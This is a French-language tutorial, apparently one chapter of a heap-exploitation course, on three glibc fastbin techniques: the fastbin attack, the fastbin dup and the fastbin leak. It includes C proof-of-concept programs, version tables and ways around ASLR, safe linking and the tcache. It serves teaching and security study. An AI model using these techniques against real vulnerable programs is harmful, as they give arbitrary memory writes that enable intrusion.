Post

Partie 10 - Exploiter les vulnérabilités des fastbins - primitives et scénarios (3/4)

Exploiter les vulnérabilités des fastbins : primitives et scénarios (3/4)

C’est parti pour voir ce que l’on peut faire en termes de pwn avec les fastbins ! Nous allons notamment nous intéresser aux attaques suivantes :

  1. fastbin attack ;
  2. fastbin dup ;
  3. fastbin leak.

Il existe plusieurs variantes du fastbin dup. Nous ne les détaillerons pas toutes ici afin d’alléger le cours, d’autant que leur principe de base reste identique.

1️⃣ fastbin attack

Redirection d’une allocation en modifiant une fastbin.

📋 Exploitabilité selon les versions

VersionExploitabilitéCommentaire
≤ 2.3.3🟢Exploitable.
≤ 2.25🟡Exploitable mais nécessite que la taille du bloc cible soit la même que la taille des autres blocs de la fastbin modifiée.
≥ 2.26🔴Obsolète.

Depuis l’introduction du tcache, les blocs libres des fastbins sont placés dans le tcache (s’il reste de la place) lorsque malloc est appelé. Cela signifie que déployer cette attaque revient à réaliser une tcache attack. Voir l’attaque fastbin reverse into tcache pour plus de détails.

⚡ Résumé

La fastbin attack est la version “fastbin” de la tcache attack. En effet, cette attaque consiste à modifier la liste chaînée d’une fastbin en insérant un bloc cible afin qu’il soit retourné par malloc. Cela permet d’accéder à une zone mémoire arbitraire (et d’y écrire des données si le programme le permet).

🔥 Conséquences

En exploitant cette vulnérabilité, il est possible d’aboutir à :

  • une écriture à une adresse arbitraire.

🔧 Primitives d’exploitation

Il est, entre autres, possible de réaliser cette attaque en utilisant les primitives suivantes :

  • use-after-free : en ayant la possibilité de modifier directement un bloc libre, il est possible de modifier fd ;
  • buffer overflow dans le tas : s’il est possible de réaliser un dépassement de mémoire depuis un des blocs situés avant le bloc cible, alors fd peut être modifié si le dépassement est assez large ;
  • écriture arbitraire : en ayant une primitive d’écriture arbitraire et en connaissant l’adresse du bloc cible, fd peut être modifié.

📃 Détails de l’exploitation

Comme d’habitude, utilisons un programme comme support afin de comprendre au mieux en quoi consiste une fastbin attack :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
    unsigned long long *a, *b;
    
    a = malloc(1);
    b = malloc(1);
    
    unsigned long long varCible[4]  __attribute__ ((aligned (0x10))) = {0}; 
        
    printf("Adresse de la variable locale : 0x%llx\n",varCible);
    
    free(a);
    free(b);
    
	// EXPLOITATION ICI : déclenchement d'une vulnérabilité
	// permettant de modifier `fd`
    *b = &varCible;
    
    unsigned long long *temp, *ptrCible ;
    
    temp = malloc(1);
    ptrCible = malloc(1);
    
    printf("Premier retour de malloc : %p\n", temp);
    printf("Second retour de malloc : %p\n", ptrCible);
    
	strcpy(ptrCible,"ABCDEFGH");  // Ecriture arbitraire
	return 0;
}

La variable varCible est alignée sur 0x10 afin de ne pas avoir d’erreur d’alignement lors de la mise en place de la fastbin attack.

Compilons-le avec la glibc 2.24-9ubuntu2.2_amd64 afin de ne pas avoir à nous trimbaler le tcache dans les pattes :

1
2
3
4
5
6
gcc -g main.c -o fastbin_attack -Wno-int-conversion -Wno-incompatible-pointer-types \
 -Wl,--dynamic-linker=./ld-2.24.so \
 -L. -Wl,-rpath=. -l:./libc-2.24.so
 
 # Ne pas oublier :
 ln -s libc-2.24.so libc.so.6

Et pour les habitués de Docker :

1
2
3
docker build -t pwn-fastbin-attack .

docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fastbin-attack

Ce programme, assez basique, alloue deux blocs de 0x20 octets puis les libère. Etant donné que le tcache n’est pas présent, ces deux blocs vont dans la fastbin n°0. On simule l’exploitation d’une primitive d’écriture avec *b = &varCible; afin de modifier le champ fd du bloc B. Ensuite, deux allocations sont réalisées.

Question : Est-ce que le bloc cible alloué sera bien &varCible ? Voyons voir ça. Tout d’abord que se passe-t-il si on exécute le programme ?

1
2
3
4
$ ./fastbin_attack
Adresse de la variable locale : 0x7ffe3c7cf120  
*** Error in `./fastbin_attack': malloc(): memory corruption (fast): 0x00007ffe3c7cf130 ***  
Aborted (core dumped)

Ah 🤕. On se prend l’erreur suivante : malloc(): memory corruption (fast). Mais pas de panique ! Comme vous avez été très attentifs au précédent chapitre 😇, vous savez comment faire pour trouver l’origine de cette erreur.

Ça vient du fait de la vérification de la taille du bloc alloué ?

Exact 👏 ! Pour comprendre ce que souligne cette erreur, schématisons l’exécution du programme comme suit :

  1. free(a); free(b); : les deux premiers blocs alloués A et B sont libérés ;
  2. *b = &varCible; : simulation de l’exploitation d’une primitive (ex: UAF) afin de modifier le champ fd du second bloc pour le faire pointer vers l’adresse mémoire cible ;
  3. temp = malloc(1); : la première allocation extrait le premier bloc de la liste chaînée de la fastbin n°0. Ce premier bloc est pointé par le membre fastbinY[0] de l’arène ;
  4. ptrCible = malloc(1); (...) strcpy(ptrCible,"ABCDEFGH"); : la zone mémoire cible est allouée et la chaîne de caractères y est écrite.

Contrairement à la tcache attack, la chaîne de caractère n’est pas écrite à l’adresse contenue dans le fd modifié mais 0x10 octets plus loin car, dans les fastbins, le champ fd pointe vers le champ prev_size.

Bon, ça c’était le schéma dans le cas où tout se passe bien et que l’on a pas d’erreur. Si vous déboguez le programme, vous remarquerez que l’erreur est remontée lors de l’étape n°3 quand ptrCible = malloc(1); est exécuté.

Cela est lié à la vérification de la taille du bloc alloué. En effet, puisque nous définissons varCible[4] comme un tableau rempli de zéros (avec = {0};), à l’étape n°3 cette variable a cette forme :

Le souci est que l’adresse 0x7fffffffffe8 contient la valeur 0x0000000000000000 alors que le programme s’attend à ce que ce soit 0x20 (sans prendre en compte les flags PREV_INUSE etc.), comme pour les autres blocs de la fastbin n°0.

Pour corriger ce problème, il suffit d’ajouter la ligne suivante dans le code source, puis de recompiler le programme :

1
2
3
4
unsigned long long varCible[4]  __attribute__ ((aligned (0x10))) = {0}; 

// /!\ La taille doit être la même que celle des autres blocs de la fastbin
varCible[1] = 0x20; // Ajouter cette ligne

De cette manière, l’adresse 0x7fffffffffe8 contiendra bien 0x20 et la vérification n’échouera pas.

Pas besoin de mettre le bit PREV_INUSE à 1 étant donné que dans cette version, il n’y a pas de vérification supplémentaire réalisée en fonction de la présence ou non de ce bit.

Néanmoins, il est possible que la vérification soit faite dans des versions ultérieures auquel cas il convient d’y accorder une attention particulière.

Vous pouvez ajouter l’appel suivant avant le return afin de voir si nous avons bien réussi à modifier la variable varCible présente sur la pile : printf("%s\n",&varCible[2]);.

L’objectif est atteint, nous avons pu réaliser une écriture arbitraire à une adresse arbitraire en utilisant la fastbin attack 😎. Évidemment nous pouvions manipuler le code source à notre guise pour que tout se passe bien. Dans un cas réel, il faut réussir à réaliser toutes ces étapes en exploitant ce que permet de faire le programme vulnérable.

🚧 Obstacles et contraintes

ASLR

Lorsque l’ASLR est présente, une partie de l’adresse contenue dans fd sera aléatoire.

💡Contournement

Deux cas sont possibles en fonction de la localisation de l’adresse cible :

  • dans le tas : l’adresse cible aura, par conséquent, les mêmes octets de poids fort aléatoires que l’adresse initialement présente dans fd. Il suffit de modifier les octets de poids faible, avec un peu de force brute s’il y a besoin de modifier plus que l’octet de poids faible ;
  • en dehors du tas : une fuite sera nécessaire pour connaître l’adresse cible, connaître la valeur initiale de fd ne sera, en revanche, pas nécessaire.

Safe Linking

Le safe linking en lui-même ne pose pas réellement problème. Dans le cas où l’ASLR est désactivée il est facilement possible de le contourner en connaissant à l’avance l’adresse du champ fd (l’adresse du champ, pas son contenu).

💡Contournement

Cette protection est très souvent conjuguée avec l’ASLR. Auquel cas il sera nécessaire de faire fuiter une adresse du tas afin de pouvoir connaître l’adresse du champ fd à modifier.

Une fois que l’adresse du champ fd est connue, il suffit de modifier la valeur de fd via le calcul suivant :

1
2
3
4
hex(addr_cible ^ (addr_fd >> 12))

# addr_fd : adresse du champ fd à modifier (précédent exemple: 0x500000000030 )
# addr_cible : adresse abritraire où l'on souhaite écrire (précédent exemple: 0x7fffffffffe0 )

Présence du tcache

La présence du tcache est problématique car elle complexifie cette attaque. En effet, lorsqu’un bloc est libéré et qu’il y a de la place dans le tcache idoine, le tcache est alors utilisé et non pas une fastbin.

💡Contournement

Généralement, la première chose à faire pour pouvoir réaliser une attaque depuis la fastbin est de … pouvoir l’utiliser 😆. Une technique couramment utilisée pour se débarrasser du tcache est d’allouer plus de 7 blocs de n octets (où n est également la taille des blocs de la fastbin que l’on souhaite exploiter) puis de les libérer.

En libérant les 7 premiers blocs, on sature le tcache qui ne pourra plus recevoir de nouveaux blocs. Ainsi, en libérant d’autres blocs, ces derniers iront dans la fastbin. Par exemple :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void *chunks[7+3];

for(int i=0; i<10; i++) 
{
	chunks[i] = malloc(0x30);
}

for(int i=0; i<7; i++) 
{
	free(chunks[i]); // Ce bloc ira dans le tcache
}

// A partir de la, le tcache de taille 0x30 est saturé

// Ces 3 blocs iront dans la fastbin de taille 0x30
free(chunks[7]);
free(chunks[8]);
free(chunks[9]);

Ce n’est pas fini : comme le tcache est prioritaire par rapport à la fastbin, les 7 premiers appels à malloc(0x30) iront piocher des blocs libres depuis le tcache. Ce n’est qu’à partir du 8ème appel que les blocs de la fastbin seront utilisés.

Bon, ça c’était la théorie. En pratique, il y aura d’autres mécanismes qui vont nous entraver dans la mise en place d’une telle attaque, notamment le fait que, lorsque malloc est appelé, s’il y a des blocs libres dans une fastbin de taille n et que le tcache de taille n est vide, ces blocs libres seront transférés vers le tcache (dans une limite de 7 blocs).

Ainsi, si vous souhaitez absolument réaliser une fastbin attack après la version 2.26, je vous conseille de jeter un œil à cette attaque.

Lorsque vous vous intéressez à une attaque en particulier dans le tas, je vous conseille de faire un schéma pour comprendre ce qui se passe. Cela vous facilitera grandement la compréhension et vous évitera un mal de crâne 😆.

2️⃣ fastbin dup

Duplication d’un bloc libre dans une fastbin.

📋 Exploitabilité selon les versions

VersionExploitabilitéCommentaire
≤ 2.3.3🟢Exploitable directement via un double free.
≤ 2.25🟢Exploitable.
≥ 2.26🟡Exploitable mais il est nécessaire de saturer au préalable le tcache et d’adapter les allocations mémoire car les blocs de la fastbin seront transférés vers le tcache.

A l’heure où est réalisé ce tableau (version 2.40 de la glibc) cette technique est toujours exploitable.

⚡ Résumé

Le fastbin dup ressemble au tcache dup, et pas que dans le nom ! Cette attaque consiste également à modifier une liste chaînée, en l’occurrence, celle d’une fastbin, afin de pouvoir allouer un bloc à une adresse arbitraire.

Il s’agit en quelque sorte d’un double free déguisé. Nous avons choisi de ne pas parler ici du double free dans les fastbins car il s’agit d’une protection qui a été corrigée il y a belle lurette (2004) dans la version 2.3.4 de la glibc.

🔥 Conséquences

En exploitant cette vulnérabilité, il est possible d’aboutir à :

  • un chevauchement de données.

🔧 Primitives d’exploitation

Il est, entre autres, possible de réaliser cette attaque en utilisant les primitives suivantes :

  • appel inconditionnel à free : en ayant la possibilité de libérer une seconde fois un bloc déjà libre (sans qu’il n’y ait de vérification par le programme), il est a priori possible d’exploiter cette vulnérabilité.

📃 Détails de l’exploitation

Voici un petit programme permettant de mettre en oeuvre cette attaque :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>  
#include <stdlib.h>  
  
int main()  
{  
	void *a = malloc(1);  
	void *b = malloc(1);  
	void *c = NULL;  
	
	free(a);  
	free(b);  
	free(a);  
	
	a = malloc(1);  
	b = malloc(1);  
	c = malloc(1);  
	
	// Ne pas utiliser printf car cela engendrera  
	// un appel à malloc qui impliquera un segfault  
	fprintf(stderr, "1st malloc(1): %p\n", a);  
	fprintf(stderr, "2nd malloc(1): %p\n", b);  
	fprintf(stderr, "3rd malloc(1): %p\n", c);  
	return 0;  
}

Vous pouvez compiler le programme avec la glibc 2.24-3ubuntu2.2_amd64 afin de ne pas être embêtés par le tcache. Le fonctionnement de ce programme est résumé dans le schéma qui a été introduit précédemment.

Voici le conteneur Docker :

1
2
3
docker build -t pwn-fastbin-dup .

docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fastbin-dup

En l’exécutant avec la version 2.24 vous devriez avoir quelque chose comme ceci :

1
2
3
4
➜ ./fastbin_dup  
1st malloc(1): 0x63329b9f3010  
2nd malloc(1): 0x63329b9f3030  
3rd malloc(1): 0x63329b9f3010

Nous avons bien la première allocation qui est confondue avec la troisième sans avoir été détectée par le programme 😎 !

🚧 Obstacles et contraintes

Appel à free contrôlé

Si l’appel à free est contrôlé par le programme, il se peut que l’enchaînement des appels free(a) ➡️ free(b) ➡️ free(a) ne soit pas possible car le programme va détecter qu’un même bloc est libéré deux fois.

Cette détection peut être réalisée par le programme en utilisant sa propre liste de blocs libres, par exemple.

💡Contournement

Si vous pensez qu’il faut absolument que vous utilisiez un fastbin dup afin d’avancer dans l’exploitation du programme, il faut trouver un moyen de réaliser un appel non contrôlé à free ou carrément trouver un autre moyen de réaliser un chevauchement de données.

Présence du tcache

Comme vous le savez : tcache et fastbin ne font pas bon ménage 💔.

💡Contournement

Bonne nouvelle, le fastbin dup reste exploitable même lorsque le tcache est présent. Pour cela, il suffit d’utiliser l’astuce précédemment évoquée qui consiste à saturer le tcache pour avoir accès à la fastbin.

Voici un programme commenté où vous trouverez les étapes supplémentaires requises pour déployer cette attaque :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>

int main()
{
	void *blocs[7+3];
	
	for(int i=0; i<10; i++) 
	{
		blocs[i] = malloc(0x30);
	}
	// Saturation du tcache
	for(int i=0; i<7; i++) 
	{
		free(blocs[i]); // Ces blocs iront dans le tcache
	}
	
	// A partir de la, le tcache de taille 0x30 est saturé (7/7 blocs)
	// Ces 3 blocs iront dans la fastbin de taille 0x30
	free(blocs[7]);
	free(blocs[8]);
	free(blocs[7]);
	
	// Ces 7 allocations réutilisent les 7 blocs
	// libres du tcache
	malloc(0x30);
	malloc(0x30);
	malloc(0x30);
	malloc(0x30);
	malloc(0x30);
	malloc(0x30);
	malloc(0x30);
	
	// Déclenchement du fastbin dup
	void *a = malloc(0x30);
	void *b = malloc(0x30);
	void *c = malloc(0x30);
	
	printf("A @ 0x%llx\n",a);
	printf("B @ 0x%llx\n",b);
	printf("C @ 0x%llx\n",c);
	
	return 0;
}

Le code est assez simple à comprendre de même que l’astuce pour pouvoir utiliser la fastbin même lorsque le tcache est présent.

3️⃣ fastbin leak

Faire fuiter une adresse du tas à partir d’un bloc libre d’une fastbin.

📋 Exploitabilité selon les versions

VersionExploitabilitéCommentaire
≤ 2.25🟢Exploitable.
≥ 2.26🟡Exploitable mais il est nécessaire de saturer au préalable le tcache et d’adapter les allocations mémoire car les blocs de la fastbin seront transférés vers le tcache.
≥ 2.32🟡Exploitable mais peut également nécessiter un petit calcul en plus en raison du safe linking.

A l’heure où est réalisé ce tableau (version 2.40 de la glibc) cette technique est toujours d’actualité.

⚡ Résumé

L’exploitation de cette vulnérabilité consiste à révéler le champ fd d’un bloc libre dans une fastbin. Cela permet d’obtenir un leak d’une adresse du tas, facilitant ainsi le contournement de l’aléatoirisation des adresses mémoire.

🔥 Conséquences

En exploitant cette vulnérabilité, il est possible d’aboutir à :

  • une fuite d’une adresse mémoire du tas.

🔧 Primitives d’exploitation

Il est, entre autres, possible de réaliser cette attaque en utilisant les primitives suivantes :

  • use-after-free : en ayant la possibilité d’afficher les données d’un bloc libre, il peut être possible d’afficher le champ fd ;
  • lecture arbitraire : s’il y a la possibilité de lire le contenu de n’importe quelle adresse en mémoire, il est notamment possible de lire l’adresse contenue dans fd.

📃 Détails de l’exploitation

Bonne nouvelle ! Faire fuiter une adresse dans une fastbin se fait de la même manière que dans le tcache, que ce soit avant ou après la version 2.32 qui implémente le safe linking.

C’est vraiment la même chose ?

La seule différence réside dans la manière de faire fuiter une adresse lorsque le tcache est également utilisé (glibc post 2.26) : il suffit, comme d’habitude, de saturer le tcache avec 7 blocs afin d’avoir accès à la fastbin.

Vous pouvez ainsi réutiliser le code que nous avions utilisé lorsque nous avions parlé de la fuite d’adresse via le tcache :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <stdio.h>

int main()
{
  unsigned long long *a = malloc(1);
  unsigned long long *b = malloc(1);
  
  free(a);
  free(b);
 
  printf("0x%llx\n",*b); // EXPLOITATION ICI: utiliser un moyen d'afficher `fd`

  return 0;
}

Pour le conteneur Docker :

1
2
3
docker build -t pwn-fastbin-leak .

docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fastbin-leak

De préférence, compilez-le avec une version glibc où le tcache n’est pas présent. En l’exécutant vous devriez avoir quelque chose de ce type :

1
2
➜ ./fastbin_leak
0x5d0a917f50e0

Voilà !

🚧 Obstacles et contraintes

Safe Linking

En raison de l’algorithme, il n’est pas possible de faire directement fuiter une adresse du tas (sauf pour le dernier bloc de la fastbin).

💡Contournement

Il suffit de xorer les 12 bits de poids fort avec les 12 suivants et ainsi de suite en utilisant la même méthode que celle présentée pour le tcache leak.

Présence d’octets nuls

Si la fonction utilisée pour faire fuiter fd est une fonction qui s’arrête à un octet nul, il ne sera pas possible de faire fuiter entièrement l’adresse.

💡Contournement

Deux cas sont possibles :

  1. l’octet nul fait partie des bits concernés par l’ASLR : il suffit de relancer le programme ;
  2. l’octet nul n’en fait pas partie : il convient de trouver une autre méthode ou fonction permettant de faire fuiter des octets.
This post is licensed under CC BY 4.0 by the author.